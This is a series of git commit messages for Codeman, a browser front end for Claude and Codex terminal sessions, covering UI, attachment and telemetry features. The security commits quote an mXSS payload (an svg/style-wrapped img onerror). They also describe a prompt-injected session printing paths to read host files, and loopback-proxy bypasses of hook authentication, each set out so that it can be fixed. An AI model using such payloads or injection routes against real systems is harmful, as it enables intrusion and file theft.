app.js line-count (3.7K -> 3.9K) and config-file-count (10 -> 12) bumps.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The skin picker inherited .form-select's 0.8rem font + 0.5rem vertical
padding, rendering bigger and taller than the settings row it sits in
(0.75rem / 0.45rem). The daylight skins' Manrope font exaggerated it,
so "Daylight Blue" looked oversized and the field too thick. Scope a
0.75rem font + 0.3rem vertical padding to .settings-item-skin .form-select
so the field text matches the row label.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The COD-39 attachment-history header button was visible on the cramped
phone header. Hide it on phones alongside the settings gear and lifecycle
log (the mobile header is intentionally minimal — those controls live in
the toolbar). One-line addition to the existing @media (max-width: 430px)
display:none block in mobile.css.
This is the second time a header control leaked onto mobile (the
plan-usage chip was the first), so add two regression guards:
- test/mobile-header-buttons-policy.test.ts — a pure static analysis of
index.html + mobile.css (no browser), so it runs in the normal CI sweep
(the test/mobile/** Playwright suite is EXCLUDED from CI and never gated
this). It enumerates every default-visible header button and fails when
one has no phone-visibility decision — either a mobile.css hide rule or
an explicit MOBILE_VISIBLE_ALLOWLIST entry. A new header button now
forces that decision. Verified it fails on the pre-fix state and passes
after.
- test/mobile/header-buttons.test.ts — real-browser E2E in the mobile
suite: asserts the attachments/settings/lifecycle buttons are hidden on
an emulated iPhone 14 Pro and the attachments button is visible on a
desktop-class tablet.
tsc + lint + prettier + both new tests green. Only CSS + tests changed.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The plan-usage header chip (5h/7d %) was a SYNCED setting, so enabling
it on desktop turned it on for mobile too — even though the user never
enabled it there. Make the chip's DISPLAY purely per-device (default
OFF) like the response viewer / skin, while keeping telemetry COLLECTION
server-side.
Three leak sources fixed:
- server.ts renderIndexHtml force-revealed the chip from the synced
value (pre-paint), pushing the desktop choice onto every device.
Removed — the chip now ships hidden and the client reveals it
per-device via applyHeaderVisibilitySettings.
- settings-ui.js load-merge let the server value win, writing desktop's
`true` into the (separate) mobile settings blob. showPlanUsageLimits
is now a displayKey AND is dropped from the server payload on load, so
a stale server value is never seeded into a device that didn't enable
it. It's also stripped from the save payload so a mobile "off" can't
clobber the server.
- Collection was gated on the same synced flag. Decoupled via a new
`statusLineTelemetry` ACTION field (schema + system-routes): sent on
ENABLE only and never persisted, so the exporter is injected when a
device turns the chip on but is never yanked when another device has
it off (it's shared across sibling sessions). Session-create already
reads the per-device blob, so that path was already correct.
One-time migration clears a stale synced `true` from the mobile blob so
existing mobile installs default to OFF without a manual toggle.
Verified end-to-end on an isolated server: with showPlanUsageLimits=true
persisted, the rendered HTML ships the chip hidden; a fresh browser
context (mobile case) keeps it hidden while a context that explicitly
enabled it shows it; the PUT accepts statusLineTelemetry and does not
persist it. tsc + frontend-syntax + system-routes/index tests green.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Remove the dead mobile-collapsed header tray that hid the entire header-right cluster (incl. the opt-in response-viewer eye) on phones/tablets, and update the mobile test to assert inline reachability. Eye stays hidden by default (showResponseViewer).
Removing the dead `mobile-collapsed` tray (this PR) means the test that
asserted the headerRight tray *stays collapsed* on mobile now contradicts
the code and would fail when run. Flip it: with the three-dot utility
toggle gone, the header-right utilities must flow inline and stay
reachable on small viewports. The response-viewer eye itself remains
hidden by default (showResponseViewer opt-in), so this only re-exposes
the already-default-visible utilities inline.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
COD-54 gated the /api/hook-event + /api/status-telemetry localhost bypass
behind the shared X-Codeman-Hook-Secret only WHILE a managed tunnel was
running, keeping a plain localhost bypass otherwise. But Codeman can't detect
a user's OWN loopback reverse proxy (their own `cloudflared --url`,
`tailscale serve`, nginx -> 127.0.0.1), which proxies internet traffic into
the loopback origin with req.ip === 127.0.0.1 — so that setup kept the unsafe
plain bypass.
Require the secret on the loopback bypass unconditionally. Managed-session
hooks already always present it (X-Codeman-Hook-Secret from
$CODEMAN_HOOK_SECRET_FILE, generated for every instance), so the legitimate
hook channel is unaffected; only the previously-unguarded own-proxy path is
now rejected. Drops the now-unused getTunnelRunning param from
registerAuthMiddleware.
Tests: cod54-hook-event-auth (tunnel-down now also requires the secret, plus
a good-secret positive case); auth-security (hook tests present the secret to
reach schema validation).
The previous _sanitizeHtml was a denylist over agent/transcript markdown
rendered via innerHTML; it missed style attributes and the svg/math mXSS
namespaces — e.g. <svg><style><img src=x onerror=alert(1)></style></svg>
re-serialized into a live <img onerror>.
Vendor DOMPurify 3.4.8 (allowlist) following the existing marked.min.js
vendor pattern (same-origin, CSP script-src 'self'; not in package.json so
no lockfile drift). New sanitize-html.js wires a hardened allowlist config
(FORBID style/svg/math/script/iframe/object/embed/form; no data attrs);
app.js _sanitizeHtml delegates to it with a fail-closed escape-all fallback.
index.html loads dompurify -> sanitize-html -> app.js (defer); build.mjs
minifies + content-hashes sanitize-html.js.
Test: test/markdown-sanitizer.test.ts (jsdom, real shipping artifacts) —
mXSS payloads neutralized + legit markdown preserved.
Environment-aware dependency probe (linux|darwin|win32|wsl) with a static
registry, an injectable ProbeHost seam for testing, grouped table + `--json`
output, and a non-zero exit when a required dependency is missing/outdated.
Node and tmux are the only hard-required tools; the agent CLIs and document
converters (LibreOffice / MS Office via WSL interop) are optional. CI-safe
unit tests (no tmux, injected host).
Per-session attachment history with a slide-in drawer, unread badge, and
re-show. Rebased onto master (stacked on #120) + review hardening (malformed-
history recovery guard, resilient list route, badge positioning, debounce
cancel, stable re-show, Escape-to-close, CSS token fixes). See PR #121.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Follow-up fixes applied during review of PR #121 (all confirmed minor/nit;
no blockers). Security posture verified sound (externalPath never leaves
toState()/the list route; re-registration runs the guard).
- fix(recovery): restoreAttachmentHistory now skips malformed/legacy saved
items (null, non-object, missing source/fileName) instead of throwing inside
the Session constructor — a corrupt __attachmentHistory entry could otherwise
abort the entire mux-recovery loop. (P1)
- fix(routes): the attachment-list route degrades a single failing entry to
{missing:true} instead of failing the whole drawer. (INT-4)
- fix(ui): give the attachments header button a positioning context so the
unread badge anchors to the icon, not the header bar. (F1/CSS-1)
- fix(ui): cancel the debounced history refresh on drawer close and guard it
against a stale session/closed drawer. (F3)
- fix(ui): re-show ("Card") of a detected item now uses the item's own
timestamp so the cardId is stable — focuses the existing card instead of
stacking duplicates. (F4)
- fix(ui): Escape now closes the drawer, matching every other panel. (UX-1)
- fix(ui): badge shows "99+" past 99 (was an inconsistent 100/99 cap). (BADGE-1)
- style: drop the duplicate @keyframes notif-badge-pulse (dead CSS). (INT-1/CSS-3)
- style: empty-state used three undefined CSS custom properties
(--text-primary/--border-color/--bg-tertiary) → use the defined
--text/--border-light/--bg-input tokens. (CSS-2)
- test: add constructor restore round-trip + malformed-item resilience tests.
Deferred (noted for author): broadcasting the full 100-item history in every
session-state SSE event (payload bloat), "unread" badge semantics, making the
header button opt-in, and app.inject route tests for the two new endpoints.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Stacks on COD-38: accumulates a per-session attachment history and exposes it
through a slide-in drawer with an unread badge, so attachments stay reachable
after their cards are dismissed.
Backend:
- session-attachment-history: history state — dedupe by source path / relative
path, newest-first, 100-item cap, and externalPath sanitization (the absolute
host path is server-private and never leaves toState()).
- session.ts: _attachmentHistory + getter (sanitized) / upsert / restore /
getAttachmentHistoryForPersist; restored from saved state in the constructor.
- file-routes: GET /attachments (list — resolves each entry to live metadata +
routes; external entries are re-registered) and GET /attachments/:id
(metadata poll). The by-id route guards via the registry's TOCTOU-safe
resolveServableAttachmentPath.
- server.ts: detected/registered attachments upsert into history and persist;
the private (externalPath-bearing) history rides on disk under
__attachmentHistory, separate from the sanitized public copy, and is restored
on mux-session recovery.
- types/session.ts: SessionAttachmentHistoryItem + SessionState.attachmentHistory.
Frontend:
- panels-ui: the drawer (lazy-built), unread badge, list render with per-item
preview/download/open/"Card" (reshow) actions, and live refresh of the open
drawer on new detections.
- app.js: history state + per-session badge/cleanup wiring.
- index.html / styles.css / mobile.css: header button + badge and the drawer.
Verified: tsc / eslint / prettier / frontend-syntax / public-assets clean; new
history-module unit tests pass; full test:ci green (2866 passed); badge, drawer
open/render/reshow/close verified in-browser.
Follow-up hardening applied during review of PR #120, addressing the
adversarial multi-agent findings:
- fix(preview): render auto-detected (workspace, unregistered) DOCX/PPTX via
the file-preview route and PDFs via file-raw in openFilePreview. Previously
the Preview button fell through to file-content, dumping the binary Office/PDF
bytes as mojibake, and the new file-preview route was unreachable dead code.
(MAJOR: file-preview-route-unreachable-detected-office)
- perf(convert): add a global converter-concurrency limiter
(document-conversion-limiter.ts) wrapping every pdftoppm / soffice /
powershell spawn, so N simultaneous preview/thumbnail requests can no longer
fork unbounded converter processes. Default cap 3, CODEMAN_MAX_DOCUMENT_CONVERSIONS.
(MAJOR: no-converter-concurrency-limit)
- fix(cache): bound the converted-PDF disk cache with LRU-by-mtime eviction
(pruneDocumentPreviewCache, default 100 files, CODEMAN_MAX_PREVIEW_CACHE_FILES),
run after each successful conversion. Was unbounded.
(MAJOR/MINOR: preview-cache-unbounded-disk-growth)
Tests: document-conversion-limiter.test.ts, document-preview-cache-eviction.test.ts,
and route coverage for the four new endpoints in
routes/file-routes-preview-thumbnail.test.ts (closes the missing-route-test gap).
Verified end-to-end against real pdftoppm (thumbnail render + concurrency cap).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Review of the plan-usage chip feature (commits since 1.0.0) surfaced several
issues; this fixes all confirmed findings:
- HIGH: applyStatusLineConfig clobbered a user's hand-authored statusLine on
the enable path (the isOurs guard only protected disable). Now bails out when
an existing statusLine isn't ours, on both the enable and disable paths.
- MED: StatusTelemetrySchema used z.optional() (rejects null) on Claude's
undocumented statusline fields — a single stray null 400'd the entire POST and
silently killed the chip's data feed. Switched the modeled fields to .nullish().
- MED: dropping the Token Count / Show Cost header toggles left their features
reading settings.showTokenCount/showCost, but saveAppSettings rebuilds settings
fresh from the DOM, dropping those keys and resetting them to defaults on every
save (re-enabling the token chip with no UI to turn it off). Preserve the prior
stored preference.
- telemetrySignature keyed on contextUsedPercentage (never displayed) and the raw
unrounded %, churning a redundant SSE broadcast + localStorage write + identical
chip re-render on every assistant message. Now keys on the rounded displayed
window values only.
- Plan-usage chip flashed hidden on load (no server-side reveal): renderIndexHtml
now strips header-plan-usage--hidden when enabled, matching btn-multimonitor;
fixes the FOUC and makes the "server renders initial state" comments accurate.
- Serialize all settings.local.json read-modify-write writers in hooks-config via
a shared per-path mutex (previously lock-free; concurrent session-create +
settings-toggle on the same repo could lose writes).
- Hardened the chip's innerHTML against any future string field; removed the dead
_latestPlanUsage field; clamped ctx% in the footer formatter; corrected the
session-create comment (the path is add-only by design — a per-repo settings
file is shared by sibling sessions).
- Tests: new test/routes/status-telemetry-routes.test.ts (route behavior, dedup,
null-tolerance) + NaN/Infinity/fractional and signature-churn unit tests; made
server-index-title.test.ts deterministic against the ambient settings.json.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The header Token Count and Show Cost ($) display options are superseded by the
Plan Usage Limits chip, so remove both toggles from App Settings → Header
Displays along with their read (populate) and write (save payload) wiring in
settings-ui.js. Relocate the Plan Usage Limits toggle to the top of the section
for easier access.
Header token-chip render logic is left intact (toggles-only change): the chip
keeps its existing default behavior, it's just no longer user-toggleable.
Verified e2e against an isolated instance with Playwright: section now leads
with Plan Usage Limits; Token Count/Show Cost elements are gone; openAppSettings
(populate) and saveAppSettings (payload build) run with no console errors.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The header chip previously only repopulated on reload from per-browser
localStorage, so a fresh browser (or cleared storage) stayed blank until a
session next rendered telemetry. Store the latest broadcast telemetry
process-wide (plan-usage-latest.ts) and include it as `planUsage` in
getLightState — the per-connection SSE init snapshot — so handleInit paints
the chip immediately on every fresh load / reconnect, authoritative over the
localStorage restore. Null until the first telemetry of the process.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Two changes so the feature works for any user the moment they enable it,
without manual steps or per-client state:
- Reconcile on settings change: PUT /api/settings now applies the statusLine
exporter across all ACTIVE Claude sessions' working dirs when
showPlanUsageLimits is toggled (inject on enable, remove on disable). This is
server-side and authoritative, so existing sessions get the footer + feed the
chip immediately — no need to create a new session, no dependency on a
browser's synced localStorage.
- Create is now ADD-ONLY: never remove the statusLine on session create.
Sessions in a repo share one settings.local.json, so a single create-with-false
(e.g. a client whose synced setting hadn't loaded) was yanking the statusLine
out from under all other live sessions in that repo, killing their footer and
the chip's data feed. Removal now happens only via the explicit settings toggle.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
End-to-end testing on the real install surfaced several issues the unit
tests missed:
- Injection gate excluded real sessions: gated on workingDir under CASES_DIR,
but sessions run in linked cases / real repos. Drop the gate (match
updateCaseModel, which writes settings.local.json unconditionally).
- statusLine curl failed on HTTPS: prod is loopback HTTPS with a self-signed
cert; `curl -s` returns 000. Use `curl -sk` (loopback only). applyStatusLineConfig
now also updates an out-of-date ours-command so the fix propagates.
- Footer hijacked by limits: the in-terminal statusline now shows CURRENT
SESSION status — `Opus 4.8 (1M context) in:562,411 out:1,188 ctx:56%` —
while the account-wide plan limits live only in the header chip.
- Chip blank after reload: persist last-known to localStorage and restore on
load (account-global, slow-moving; 12h freshness guard).
- Readability + color: per-window green/yellow/red by usage (<60 / 60–84 / ≥85),
bolder labels and values.
- Drop the renderIndexHtml strip (client-side reveal only, response-viewer
pattern) — fixes server-index-title test fragility to local settings.
Footer fields flow through context_window.total_input_tokens/total_output_tokens
(schema + parser). Tests updated; verified live (footer, chip, colors, reload
persistence) on the real install.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Surface Claude subscription plan usage limits (5-hour rolling + 7-day
weekly: percent used + reset time) in the header, opt-in via App Settings
→ Display → "Plan Usage Limits" (default OFF, no behavior change when off).
A Codeman-managed Claude statusLine exporter forwards the rate_limits JSON
to a new auth-exempt POST /api/status-telemetry (same loopback + hook-secret
gate as /api/hook-event); parsed telemetry broadcasts over SSE
session:statusTelemetry to a header chip (amber >=80%, red >=95%, reset
times on hover). The exporter prints the same summary back as the
in-terminal footer (print-through).
- src/usage-telemetry.ts: pure parser/formatter (epoch-sec -> ms, clamp,
change signature) + test/usage-telemetry.test.ts
- hooks-config.ts: generateStatusLineCommand + applyStatusLineConfig
(add/remove; never clobbers a user's own statusLine)
- session-routes.ts: inject gate (Claude-only, Codeman-managed cases),
driven by create-payload statusLineTelemetry (session-ui.js)
- schemas.ts: StatusTelemetrySchema + showPlanUsageLimits + payload field
- frontend: header chip, applyHeaderVisibilitySettings toggle,
renderIndexHtml strip, _onSessionStatusTelemetry handler
Schema empirically confirmed against Claude Code 2.1.177 (Claude Max):
only five_hour/seven_day windows exist (no Opus-weekly field); rate_limits
is absent before the first API response and for non-subscriber auth. Design
+ verification method in docs/usage-limits-display-plan.md.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Add a per-device skin switcher in App Settings → Display:
- Three skins via html[data-skin]: og (original Codeman look),
daylight-green, and daylight-blue (new default). Per-skin CSS-variable
token blocks; the v1.0 "Carbon Aurora" component polish is scoped to
non-og skins and parameterized so green/blue differ only by token values.
- Self-hosted Manrope (UI) + JetBrains Mono (terminal) variable fonts,
served from /fonts (no external CDN, CSP-safe via font-src 'self').
- Per-skin xterm terminal theme with live re-theming of open terminals on
skin change; skin-aware --term-bg so the terminal background fills cleanly
(fixes the variable-height gap above the toolbar).
- Pre-paint inline script applies the saved skin before first paint (no
flash); persisted per-device in localStorage + the settings blob, and
kept out of the server settings payload (device-local).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- Guard `_updateCjkInputState()` with `activeSessionId` check so the
`position: fixed` CJK textarea doesn't float over the welcome overlay
- Call `_updateCjkInputState()` in `showWelcome()`/`hideWelcome()` to
sync CJK visibility on session enter/leave
- Add `padding: 12px 10px` to `.cjk-input-visible textarea` for proper
vertical centering of input text
The header-right tray (02fa3f3) was reworked into a position:fixed
collapsible panel with a hamburger toggle, but the toggle button, its
JS, and CSS were later reverted on master while the container kept a
static `mobile-collapsed` class. With no expand mechanism left, the
header-right stayed display:none on mobile, so the response-viewer eye
icon was unreachable even with "Response Viewer" enabled — desktop was
fine because the media-query rule doesn't apply there.
Restore the simple inline always-visible header-right layout (dev's
known-good state). The showResponseViewer setting still controls the
eye's --hidden marker class.
Verified on iPhone viewport: eye visible (26x26) with setting on, hidden
with setting off, tap opens the viewer; desktop eye unaffected.
Builds on the COD-37 registry: surfaces detected/registered attachments as
dismissible cards with a first-page thumbnail and an inline preview — the
consumer the registry PR deliberately deferred.
Backend:
- document-thumbnailer: first-page PNG thumbnails (PNG passthrough; PDF via
pdftoppm; Office via the preview cache).
- document-preview-cache: disk-cached DOCX/PPTX -> PDF conversion (LibreOffice
/ PowerShell COM), in-flight dedup, multi-converter fallback.
- file-routes: serveConvertedPreview / serveThumbnail + four routes —
GET .../attachments/:id/preview, .../thumbnail and the workspace-path
file-preview / file-thumbnail. Reuses the registry's TOCTOU-safe
resolveServableAttachmentPath, so previews stream the freshly-resolved path.
- server: enrich detected attachment events with a thumbnail route.
- image-watcher: .png now routes to attachment:detected — this PR adds the card
consumer, so the screenshot popup is no longer its only handler.
Frontend:
- panels-ui: attachment cards (addAttachmentCard, lazy stack, Clear-all,
per-session cleanup) plus a 3-arg openFilePreview that renders registered
attachments inline (image/PDF) or via the server-converted PDF (docx/pptx).
- app.js: wire attachment:detected -> _onAttachmentDetected and card state.
- styles: attachment-card + stack styling.
Verified: tsc / eslint / prettier / frontend-syntax clean; new thumbnailer +
preview-cache unit tests pass; full test:ci green (2861 passed); card render +
preview overlay + dismiss verified in-browser.
Add server-side attachment pipeline (registry, magic-link, path guard)
Review fixes (2767e80): force-confine the terminal magic-link scan path to the
session workspace (closes a prompt-injectable arbitrary host-file read primitive
that broadcast over SSE); keep PNG on the image-popup path (the attachment UI
consumer is out of scope, so rerouting it broke the screenshot popup); serve the
re-resolved path (TOCTOU); 50MB raw cap; per-session registry cap; CLI .env via
dataPath(). Documented in security-architecture.md.
Security (MAJOR): the terminal-output codeman://attach scanner registered any
matching path server-side with no user confirmation and broadcast the rawUrl
over SSE. Terminal output is attacker-influenceable (a prompt-injected session
can print an arbitrary path), so on the default no-auth deployment this was an
arbitrary host-file (png/pdf/docx/pptx/md/txt) read primitive reachable by any
SSE client. Magic-link registration is now force-confined to the session
workspace (forceWorkspaceConfinement) regardless of the global confine setting;
deliberate cross-workspace attach still works through the explicit,
Origin-guarded POST /attachments route and 'codeman attach' (which POSTs
directly inside a managed session). Documented in security-architecture.md.
Regression (MAJOR): .png was rerouted from the image-popup path to
attachment:detected, which has no frontend consumer — silently breaking the
dropped/pasted-screenshot popup. PNG stays on image:detected; only pdf/docx/pptx
(which never had a popup) emit attachment:detected.
Also:
- raw route streams the freshly-resolved path, not the stored one, so a
post-registration symlink swap can't redirect the stream (TOCTOU).
- 50MB cap on the attachment raw route, matching file-raw / download.
- per-session attachment registry cap (200) to bound the POST path.
- CLI reads creds via dataPath('.env'), honoring CODEMAN_INSTANCE.
Tests: forced-confinement reject/allow cases; PNG popup-path assertions updated.
Adds the foundation for serving local files to the browser as live external
attachments with a stable id, so requests never carry arbitrary absolute paths.
- attachment-registry: in-memory, session-scoped registry. registerExternalAttachment
validates an absolute path, resolves symlinks, enforces the path guard, and mints
an `att_<uuid>` id; records are cleared when the session is removed.
- attachment path guard: a configurable blocklist (secret locations + /root,/etc
trees, extendable via attachmentBlockedPaths / CODEMAN_ATTACHMENT_BLOCKED_PATHS)
plus an optional, default-off workspace-confinement mode. Shares one
sensitive-path blocklist (web/sensitive-path.ts) with /api/download, which is
refactored to use the extracted module instead of an inline copy.
- terminal magic links: the session scans output for codeman://attach?path=... and
emits `attachmentRequested`; the web server registers the file and broadcasts an
`attachment:detected` SSE event. `codeman attach <path>` (CLI) prints the magic
link or POSTs directly when a session id is known.
- image watcher: detects png/pdf/docx/pptx dropped into a session's working dir and
emits `attachment:detected`.
- routes: POST /api/sessions/:id/attachments (register) and
GET /api/sessions/:id/attachments/:attachmentId/raw (serve), both re-checking the
guard before streaming.
Document previews/thumbnails and the attachment-history drawer build on this
foundation and land separately.
Verified: tsc --noEmit, lint, format, frontend-syntax, full test:ci (2846 passed),
and a server boot smoke (/api/status 200).
- Skip snapshot save for shell sessions (restore is gated on mode!=='shell',
so they only burned a serialize() + cache slot + localStorage quota).
- In-memory cache: delete-before-set so eviction is true LRU, not FIFO that
could drop the most-recently-used session.
- localStorage: extract _persistXtermSnapshot — evict to a fixed key budget
regardless of session liveness (the old prune only dropped dead keys, so
>10 live sessions at the 20-session target deadlocked the quota) and
evict-and-retry on quota errors (the old prune ran only after a successful
setItem, so a full quota permanently disabled persistence).
- Tighten the OSC-strip regex in _isUsableXtermSnapshot to stop at ST.
- Update the structural test's usability-gate assertion to not depend on a
fixed byte window.
Switching away from a session and back replayed only the server's byte
history. For TUI modes (codex especially) that shows just the latest
repaint — the idle banner — because the TUI drops earlier conversation
from its current frame. This restores the actual on-screen view.
Two complementary mechanisms:
- Client: load xterm's SerializeAddon and snapshot the rendered state
(viewport + scrollback + colors) per session on switch-away, restoring
it for an instant first paint on switch-back. The snapshot is only the
first paint — the canonical /terminal frame is still fetched and
reconciled (restoredSnapshot/clearedForBusy force the replay). Snapshots
are LRU-bounded in memory (<=20) and persisted to localStorage
(<=256KB each, <=10 sessions, stale-pruned) so they survive tab discard.
- Server: GET /api/sessions/:id/terminal prepends the live tmux pane
buffer (via the existing captureActivePaneBuffer) ahead of the byte
history, cleared between, so replay reflects the current frame.
Also fix formatPaneSnapshot dropping the rightmost column of every
captured row: it painted to cols - 1 out of caution about last-column
autowrap, but every row is followed by an absolute cursor-position CSI
that cancels xterm's pending-wrap, so painting the full width is safe.
The SerializeAddon is built from @xterm/addon-serialize (new dependency)
into the vendor bundle by postinstall.js (dev) and build.mjs (prod),
matching how the other xterm addons are vendored.
Review fixes:
- Hold back a trailing partial CSI (digit-only intro, ≤7 chars) in
_handleTerminalOutput and prepend it to the next chunk. PTY chunk
boundaries are arbitrary, so '\x1b[?1049h' can arrive as '\x1b[?104' +
'9h' — the per-chunk strip misses it, xterm obeys the reassembled toggle,
and (with the matching ?1049l stripped) stays stuck in the scrollback-less
alt buffer until the next replay. Complete sequences are never held; the
carry resets with the other buffers in _resetBuffers.
- Replay path now also strips mouse-tracking enables (?1000-?1007), matching
the live strip: buffers persisted BEFORE the live strip existed can still
carry them, and a replayed ?1006h re-hijacks the scroll wheel.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Review fixes for COD-54:
- Generated hook curl commands now present X-Codeman-Hook-Secret, read from
the secret file AT EXECUTION TIME via $CODEMAN_HOOK_SECRET_FILE (exported
into every managed session's env by tmux buildEnvExports / the direct-PTY
env builders). Without this, every local hook 401'd the moment a managed
tunnel came up — the enforcement existed but nothing presented the secret.
Path-not-value keeps the secret off command lines and out of config files,
and running sessions pick up a newly generated secret with no respawn;
server.start() ensures the file exists up front.
- Hook-secret failures now count into a DEDICATED per-IP bucket
(hookSecretFailures) instead of the shared authFailures map. Legacy
(pre-secret) hook configs fire constantly from 127.0.0.1; counting their
401s against the shared bucket would 429 every cookie-less loopback
request — locking out the Basic-Auth login path (and, through a tunnel,
every client, since tunneled traffic also arrives as 127.0.0.1).
- docs/security-architecture.md: secret-gated hook exemption, dedicated
bucket, COD-55 refusal, and the residual caveat for EXTERNAL loopback
proxies (user-run cloudflared / tailscale serve), which the
managed-tunnel probe cannot see.
- test/cod54-hook-event-auth.test.ts: +3 tests — login path unaffected
after hook-bucket exhaustion; generated hooks reference the header +
$CODEMAN_HOOK_SECRET_FILE without embedding the value; env builders
export the path only.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Mobile fixes (user-reported: stuck in Session Options with no way to close):
- Modals now stack at z-index 1300, above the fixed mobile/tablet header
(z-index 1200) that was burying the modal header and its close button —
the full-screen modal was undismissable on phones
- Duration presets collapse to one compact 24px row (was a 3-row grid)
- Hide the tab detach (open-in-new-window) button on viewports <=768px
Respawn tab regrouped so its two features read as separate options:
- New green-tinted "Respawn loop" box wraps duration, presets, cycle
steps, and the status/Enable row — a visual sibling of the blue
auto-resume box; includes a short explanation of the loop
- Enable/status row moved from the top of the tab to the bottom of the
box, so it no longer reads as a modal-level confirm button
- Font sizes unified: feature titles match; step checkboxes (2./3.)
match the step labels (1./4.); "Respawn Cycle" renamed "Cycle Steps"
CLAUDE.md: add usage-limit-patterns.ts to the Session row; app.js ~3.7K
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The post-takeover/re-assert needsRefresh made multi-client redraws worse
in practice (fragmented mixed-width frames on the phone) — reverted to
the behavior the user verified as good: cross-device reflows rely on
Ink's own redraw, stale scrollback scrolls away with new output.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Auto-resume on usage limit ("token pause" control, opt-in checkbox at the
top of the Respawn tab, off by default):
- usage-limit-patterns.ts (new, pure): detects all Claude Code limit
messages (1.0.x-2.1.x eras incl. "5-hour limit reached - resets 8pm",
"You've hit your limit - resets 1:40pm (TZ)", weekly date forms, raw
"usage limit reached|<epoch>") and parses the reset time. Conservative:
no parseable future reset time, no action.
- SessionAutoOps: arms a timer at reset+2min, sends Esc (dismisses the
rate-limit dialog) + "continue"; dedups footer redraws, retries every
5min on stale times, cancels when Claude starts working, persists and
re-arms across Codeman restarts (SessionState.autoResumeEnabled/At).
- Respawn guard: cycles are blocked while limit-paused so /clear cannot
wipe the paused conversation (respawnBlocked reason 'usage_limit').
- POST /api/sessions/:id/auto-resume; SSE session:limitPauseScheduled/
limitResume/limitResumeCancelled; toasts + status line in the modal.
- Respawn tab tidied: single-row prompt fields, merged behavior row.
Mobile fixes (0.9.8 regressions, user-reported):
- Resize arbitration is now activity-based: a desktop sizing claim only
blocks phone resizes while the desktop typed within 90s
(Session.DESKTOP_CLAIM_IDLE_MS). Idle desktop -> phone takes the pane;
next desktop keystroke re-asserts the desktop layout server-side
(noteDesktopActivity via ws-routes input). Phones re-send dims every
30s (visible tab only, skipped while the keyboard is open) so attaching
under a hot claim self-corrects. Fixes the desktop-width-stream-in-
narrow-xterm soup (mid-word wraps, tmux dot fill, Ink overdraw).
- Cross-device reflows (takeover/re-assert) emit a debounced needsRefresh
so all clients reload the buffer instead of stacking ghost Ink frames.
- Keyboard accessory/toolbar lift restored: measure keyboardOffset
against window.innerHeight (layout viewport), not the shrunken .app -
on iOS the offset computed to 0, leaving both bars hidden behind the
OS keyboard with a dead gap above.
- Removed the mobile header utility ("three dots") toggle entirely;
the headerRight tray stays collapsed on small viewports.
Tests: usage-limit-patterns (36), session-auto-resume (21), resize
arbitration (+6), session routes (+4), respawn guard (+2); MockSession
auto-resume/sizing stubs; mobile tabs test updated for toggle removal.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Two render-polish fixes for codex sessions in the terminal write pipeline:
- flushPendingWrites uses a 32KB first-frame budget for codex (vs 64KB for
other modes). Codex's TUI emits dense synchronized redraws during
thinking/high-effort phases; a smaller first frame keeps per-frame
xterm/WebGL stalls short and avoids multi-second main-thread blocks.
- Sticky-scroll now honours a short grace window after a manual scroll-up
gesture (USER_SCROLL_STICKY_SUPPRESS_MS = 1500ms). High-frequency codex
"Working (Ns)" status ticks were snapping the viewport back to the bottom
while the user tried to read earlier output. The wheel/touch scroll
handlers record the gesture (_noteTerminalUserScroll); flushPendingWrites
suppresses the auto-scroll-to-bottom and restores the preserved viewport
via scrollToLine while the grace window is active.
Adds test/terminal-flush-budget.test.ts (vm-sandbox harness over
terminal-ui.js): codex vs non-codex first-frame budget, buffer-load
ownership, and the scroll-up suppression / viewport restore.
Co-Authored-By: Saqeb Akhter <saqeb.akhter@gmail.com>
Codex's TUI emits alternate-screen toggles (DECSET/DECRST 47/1047/1049),
scrollback-erase (CSI 3 J), and mouse-tracking enables (?1000-1007) during
startup and on every repaint. xterm.js obeys them: it switches to the
scrollback-less alternate buffer, wipes saved lines, and forwards the scroll
wheel to codex — so the user's conversation history both disappears and
becomes unreachable on each tab switch / pane refresh.
Strip these sequences in two places, leaving the visible-viewport erases
(2J / J) intact so codex can still repaint its own rows:
- Session._handleTerminalOutput: filter the live SSE/WS stream and the
persisted terminal buffer at the source, for mode === 'codex'.
- GET /api/sessions/:id/terminal: apply the same strip to the replayed
buffer (ALT_SCREEN_TOGGLE_PATTERN / ERASE_SCROLLBACK_PATTERN) so a
tab-switch replay keeps full scrollback.
Adds test/codex-terminal-output.test.ts covering the strip (alt-screen and
3J removed, 2J/J preserved, Ctrl+L redraws preserved) and confirming codex
output passes through without Ink row-repair mangling.
Co-Authored-By: Saqeb Akhter <saqeb.akhter@gmail.com>
Two hardening fixes for the public-tunnel exposure path (COD-54 / COD-55).
COD-54 — gate the /api/hook-event localhost bypass when a tunnel is up:
`cloudflared --url http://127.0.0.1:port` proxies internet traffic INTO the
loopback origin, so a tunneled hook request arrives with req.ip === 127.0.0.1
and the old bare-localhost bypass would pass it unauthenticated. Now:
- tunnel running → bypass requires a shared per-instance hook secret
(X-Codeman-Hook-Secret header; constant-time compare) + per-IP rate limiting
- tunnel not running (loopback-only, the normal case) → unchanged, so
already-deployed credential-less hooks keep working.
New src/config/hook-secret.ts; auth middleware takes a getTunnelRunning probe
(wired from server.ts via tunnelManager.isRunning()).
COD-55 — refuse starting the Cloudflare tunnel without auth:
enabling the tunnel publishes full terminal control to a public URL; with no
